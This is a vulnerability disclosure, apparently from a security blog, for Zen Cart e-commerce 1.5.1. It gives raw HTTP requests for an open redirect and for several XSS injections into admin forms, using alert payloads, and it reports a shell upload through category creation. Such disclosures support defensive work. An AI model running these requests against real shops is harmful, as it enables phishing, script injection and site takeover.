Zen Cart E-Commerce 1.5.1 XSS / Open Redirect / Shell Upload

`# ==============================================================  
# Title ...| Multiple vulnerabilities in Zen Cart e-commerce   
# Version .| zen-cart-v1.5.1-full-fileset-09182012  
# Date ....| 23.02.2014  
# Found ...| HauntIT Blog  
# Home ....|   
# ==============================================================  
  
[+] For not-authenticated user:  
  
# ==============================================================  
# 1. Redirection to any (phishing?) site:  
  
---<request>---  
10.149.14.62//k/cms/zen/zen-cart-v1.5.1-full-fileset-09182012/index.php?main_page=redirect&action=url&goto=www.google.com  
  
---<request>---  
  
==============================================================  
[+] For admin user logged-in  
  
# ==============================================================  
# 2. XSS  
  
---<request>---  
OST /k/cms/zen/zen-cart-v1.5.1-full-fileset-09182012/admin123/gv_mail.php?action=preview HTTP/1.1  
Host: 10.149.14.62  
(...)  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 232  
  
securityToken=c708c6bfb991c954612cf368ba24b1b2&customers_email_address=&email_to='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&from=admin%40here.com&subject=asd&amount=123&message=We%27re+pleased+to+offer+you+a+Gift+Certificate&x=27&y=8  
---<request>---  
  
  
# ==============================================================  
# 3. XSS  
  
---<request>---  
POST /k/cms/zen/zen-cart-v1.5.1-full-fileset-09182012/admin123/coupon_admin.php?action=update&oldaction=new&cid=0&page=0 HTTP/1.1  
Host: 10.149.14.62  
(...)  
securityToken=c708c6bfb991c954612cf368ba24b1b2&coupon_name%5B1%5D='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&coupon_desc%5B1%5D=asd&coupon_amount=123&coupon_min_order=2&coupon_free_ship=on&coupon_code=123123&coupon_uses_coupon=&coupon_uses_user=1&coupon_startdate_day=24&coupon_startdate_month=2&coupon_startdate_year=2014&coupon_finishdate_day=24&coupon_finishdate_month=2&coupon_finishdate_year=2015&coupon_zone_restriction=0&x=58&y=14  
---<request>---  
  
  
Also vulnerable are:  
coupon_desc%5B1%5D, coupon_min_order,coupon_free_ship, coupon_code,coupon_uses_coupon, coupon_uses_user  
  
  
# ==============================================================  
# 4. XSS  
  
---<request>---  
POST /k/cms/zen/zen-cart-v1.5.1-full-fileset-09182012/admin123/developers_tool_kit.php?action=locate_configuration HTTP/1.1  
Host: 10.149.14.62  
(...)  
  
securityToken=c708c6bfb991c954612cf368ba24b1b2&configuration_key='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&zv_files=1&x=16&y=6  
  
---<request>---  
  
  
# ==============================================================  
# 5. XSS  
  
---<request>---  
POST /k/cms/zen/zen-cart-v1.5.1-full-fileset-09182012/admin123/geo_zones.php?zpage=1&zID=1&action=insert_zone HTTP/1.1  
Host: 10.149.14.62  
(...)  
securityToken=c708c6bfb991c954612cf368ba24b1b2&geo_zone_name=$("%3cimg%2fsrc%3d'x'%2fonerror%3dalert(9999)%3e")&geo_zone_description=asdasdasd&x=26&y=149  
  
---<request>---  
  
  
  
# ==============================================================  
# 6. XSS  
  
---<request>---  
POST /k/cms/zen/zen-cart-v1.5.1-full-fileset-09182012/admin123/orders_status.php?page=1&action=insert HTTP/1.1  
Host: 10.149.14.62  
(...)  
securityToken=c708c6bfb991c954612cf368ba24b1b2&orders_status_name%5B1%5D=$("%3cimg%2fsrc%3d'x'%2fonerror%3dalert(9999)%3e")&x=29&y=10  
  
---<request>---  
  
  
  
# ==============================================================  
# 7. XSS  
  
---<request>---  
POST /k/cms/zen/zen-cart-v1.5.1-full-fileset-09182012/admin123/countries.php?page=1&action=insert HTTP/1.1  
Host: 10.149.14.62  
(...)  
securityToken=c708c6bfb991c954612cf368ba24b1b2&countries_name=$("%3cimg%2fsrc%3d'x'%2fonerror%3dalert(9999)%3e")&countries_iso_code_2=asd&countries_iso_code_3=asdasd&address_format_id=1&x=30&y=10  
---<request>---  
  
  
  
# ==============================================================  
# 8. Shell upload possibility when creating new category:  
  
  
k@lab:~/public_html/cms/zen/zen-cart-v1.5.1-full-fileset-09182012$ find ./ | grep shell.php  
./images/categories/mishell.php  
k@lab:~/public_html/cms/zen/zen-cart-v1.5.1-full-fileset-09182012$  
  
;)  
  
  
# ==============================================================  
# More @ http://HauntIT.blogspot.com  
# Thanks! ;)  
# o/   
`